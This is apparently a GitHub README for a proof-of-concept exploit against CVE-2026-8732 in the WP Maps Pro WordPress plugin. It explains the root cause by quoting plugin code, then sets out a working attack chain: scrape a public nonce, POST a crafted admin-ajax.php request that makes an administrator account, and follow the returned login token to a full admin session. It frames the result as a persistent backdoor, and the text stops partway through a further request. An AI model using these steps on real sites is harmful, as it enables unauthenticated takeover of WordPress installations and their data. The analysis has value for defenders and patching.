xShadow-Here/CVE-2026-8732
GitHub: xShadow-Here/CVE-2026-8732
Stars: 0 | Forks: 1
CVE-2026-8732 — WP Maps Pro ≤ 6.1.0
♡ Unauthenticated Privilege Escalation via Administrator Account Creation ♡
=== shadow ♡ & friska ===
| Field | Details |
|-------|---------|
| **CVE ID** | CVE-2026-8732 |
| **CVSS Score** | 9.8 (Critical) |
| **CVSS Vector** | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` |
| **Type** | Missing Authentication for Critical Function |
| **Plugin** | WP Maps Pro (`wp-google-map-gold`) |
| **Affected** | All versions ≤ 6.1.0 |
| **Patched** | 6.1.1 |
| **Published** | May 28, 2026 |
| **Researcher** | [David Brown](https://www.wordfence.com/threat-intel/vulnerabilities/researchers/david-brown) |
| **PoC** | Shadow & Friska 😈 |
## 🔍 Description
The **WP Maps Pro** plugin for WordPress is vulnerable to **Unauthenticated Privilege Escalation via Administrator Account Creation**.
The `wpgmp_temp_access_ajax` AJAX action is registered with `wp_ajax_nopriv_` and protected only by a nonce check using the `fc-call-nonce` nonce — which is **publicly embedded into every frontend page** via `wp_localize_script` as the `nonce` field of the `wpgmp_local` JavaScript object.
This renders the nonce check **completely ineffective** as an access control mechanism, allowing unauthenticated attackers to:
1. Extract the nonce from any public page
2. Invoke the `wpgmp_temp_access_support` handler with `check_temp=false`
3. Trigger unconditional creation of a new WordPress **Administrator** account
4. Receive a magic login URL that calls `wp_set_auth_cookie()` — granting full admin access
5. Create a persistent backdoor account
## 🧬 Root Cause Analysis
### 1. Hook Registered Inside `is_admin()` Block — But `is_admin()` is Always True for AJAX
// wp-google-map-gold.php
if ( is_admin() ) { // ← is_admin() = TRUE for all admin-ajax.php requests!
add_action( 'wp_ajax_wpgmp_temp_access_ajax', [ $this, 'wpgmp_temp_access_ajax_callback'] );
add_action( 'wp_ajax_nopriv_wpgmp_temp_access_ajax', [ $this, 'wpgmp_temp_access_ajax_callback'] ); // ← nopriv = unauthenticated!
}
### 2. Nonce Exposed to Every Frontend Page
// classes/wpgmp-helper.php
$wpgmp_local = [
'urlforajax' => admin_url( 'admin-ajax.php' ),
'nonce' => wp_create_nonce( 'fc-call-nonce' ), // ← LEAKED to public HTML!
// ...
];
wp_localize_script( 'wpgmp-google-map-main', 'wpgmp_local', $wpgmp_local );
Any visitor can read the nonce from page source. WordPress nonces are CSRF tokens — not authentication tokens.
### 3. No Capability Check in AJAX Callback
function wpgmp_temp_access_ajax_callback(){
check_ajax_referer( 'fc-call-nonce', 'nonce' ); // ← bypassed via public nonce
// NO current_user_can() check!
$temp_access = new WPGMP_Temp_Access();
$response = $temp_access->wpgmp_temp_access_support();
wp_send_json($response);
}
### 4. Unconditional Admin Account Creation
// classes/wpgmp-temp-access.php
if (isset($_POST['check_temp']) && $_POST['check_temp'] == 'false') {
$username = 'fc_user_' . uniqid(); // random username
$email = 'support@flippercode.com'; // hardcoded email
$role = 'administrator'; // hardcoded role ← ROOT CAUSE
$result = self::fc_create_new_user($username, $email, $role);
if (is_numeric($result)) {
$access_link = self::generate_login_link($result);
$response['url'] = $access_link; // ← magic URL returned to attacker!
}
}
### 5. Magic Login via `init` Hook — No Expiry, No Single-Use
// Hooked to init — runs on EVERY request, no auth required
function wpgmp_access_token_check(){
if ( ! empty( $_GET['wpgmp_token'] ) ) {
$temp_access->get_valid_user_based_on_wpgmp_token($wpgmp_access_token);
}
}
// Inside get_valid_user_based_on_wpgmp_token():
wp_set_current_user( $temporary_user_id, $temporary_user_login );
wp_set_auth_cookie( $temporary_user_id ); // ← SESSION SET AS ADMIN
wp_safe_redirect( admin_url() ); // ← REDIRECT TO DASHBOARD
## ⚔️ Attack Chain
[Unauthenticated Attacker]
│
▼
GET /any-page/
← HTML: wpgmp_local = {"nonce":"XXXXXXXX",...}
│
▼
POST /wp-admin/admin-ajax.php
action=wpgmp_temp_access_ajax
nonce=XXXXXXXX
check_temp=false
← {"url":"https://target.com/wp-admin/?wpgmp_token=<128-hex>"}
│
▼
GET /wp-admin/?wpgmp_token=<128-hex>
← wp_set_auth_cookie() fired
← 302 → /wp-admin/
│
▼
[Full Administrator Access] 💀
│
▼
POST /wp-json/wp/v2/users
X-WP-Nonce:
**[shadow ♡ friska]** — for educational and authorized security research only